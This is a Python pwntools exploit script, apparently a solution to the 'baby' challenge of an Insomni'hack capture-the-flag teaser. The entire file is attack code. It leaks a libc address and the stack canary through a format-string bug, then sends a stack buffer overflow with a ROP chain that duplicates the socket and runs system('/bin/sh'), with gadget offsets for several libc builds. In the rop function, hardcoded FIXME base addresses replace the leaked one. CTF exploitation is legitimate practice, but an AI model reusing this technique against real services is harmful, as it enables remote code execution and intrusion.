#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import re
import sys 
from pwn import *


def perror():
    sys.exit("python {0} connexion:[remote|local] libc:[remote|ubuntu1404|debian8]".format(sys.argv[0]))


def check_args():
    PORT = 1337
    oses = ["remote", "ubuntu1404", "debian8"]

    try:
        conn = str(sys.argv[1])
        os_target = str(sys.argv[2])
    except:
        perror()

    if (conn == "" or os_target == ""):
        perror()
    
    if (os_target not in oses):
        perror()

    if (conn == "remote"):
        HOST = "baby.teaser.insomnihack.ch"
    elif (conn == "local"):
        HOST = "127.0.0.1"
    else:
        perror()      

    return HOST, PORT, os_target


def chain2string_x64(rop):
    return "".join([p64(x) for x in rop])


def pause():
    print "[*] Paused, press ENTER to continue."
    raw_input()


def dofmt(s):
    choice = "2"

    global libc, cookie

    s.readuntil("> ")
    s.sendline(choice)
    s.readuntil("> ")
    s.sendline("%158$llx")      
    libc_str = s.recvline().strip()
    libc = int(libc_str,16)
    log.info("2.dofmt()=> Leaking <__libc_start_main+245> at: {:x}".format(libc))
    

    s.readuntil("> ")
    s.sendline("%138$llx")
    cookie = s.recvline().strip()
    #cookie = (re.search(r"[0-9A-Fa-f]{16}", cookie)).group(0)
    log.info("2.dofmt()=> Leaking stack cookie: {}".format(cookie))
    #assert(len(cookie) == 16)
    cookie = p64(int(cookie,16))
    
    #pause()

    # Back to main menu
    s.sendline("")


def  dostack(s, os_target):
    log.info("1.dostack()=> Building ROP chain")

    choice = "1"
    
    # Generate payload
    RBP = "EEEEEEEE"
    RIP = "DDDDDDDD"
    ROPCHAIN = rop(os_target)

    # buff = "A"* 1032 + cookie + RBP + RIP 
    buff = "A"* 1032 + cookie + RBP + ROPCHAIN

    s.sendline(choice)
    s.readuntil("bytes you want to send ? ")
    buffsz = str(len(buff))
    s.sendline(buffsz)
    s.sendline(buff)

    log.info("got pwn?")
    s.interactive()


def rop(os_target):     
    # Calculate libc base address    
    #libc = 0x00007f5d95888000   # FIXME!!!
    libc = 0x00007fa70b9e8000   # FIXME!!!
    libc = 0x00007f129d29e000

    if os_target == "debian8":
        # gadgets
        pop_rdi_ret = libc + 0x22482
        pop_rsi_ret = libc + 0x24125

        # offsets
        system = libc + 0x41490
        dup2   = libc + 0xdc240
        binsh  = libc + 0x1633e8

    elif os_target == "ubuntu1404":
        # gadgets
        pop_rdi_ret = libc + 0x22b9a
        pop_rsi_ret = libc + 0x24885
       
        # offsets
        system = libc + 0x46590
        dup2   = libc + 0xebe90
        binsh  = libc + 0x17c8c3

    elif os_target == "remote":
        # gadgets
        pop_rdi_ret = libc + 0x21102
        pop_rsi_ret = libc + 0x202e8

        # offsets
        system = libc + 0x45390
        dup2   = libc + 0xf6d90
        binsh  = libc + 0x18c177
    else:  #local
        perror()

    # ROP attack => dup2(4,0); dup2(4,1); system("/bin/sh")

    # Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively. 
    # socket may return 3. Then accept is likely to return 4.

    ropchain = [
        pop_rdi_ret ,
        4           ,  # rdi = 4 
        pop_rsi_ret ,
        0           ,  # rsi = 0
        dup2        ,  # dup2(4,0)
        pop_rdi_ret ,
        4           ,  # rdi = 4 
        pop_rsi_ret ,
        1           ,  # rsi = 1
        dup2        ,  # dup2(4,1)
        pop_rdi_ret ,
        binsh       ,  # rdi = "/bin/sh\x00"
        system      ,  # system("/bin/sh")
    ]
    
    return chain2string_x64(ropchain)


def main():
    # check input
    host, port, os_target = check_args()

    # create connection
    s = remote(host, port)

    # leak libc and stack cookie
    dofmt(s)

    # trigger the stack-based buffer overflow doing some ROP magic
    dostack(s, os_target)


if __name__ == '__main__':  
    try:
        main()
    except KeyboardInterrupt:
        sys.exit(0)


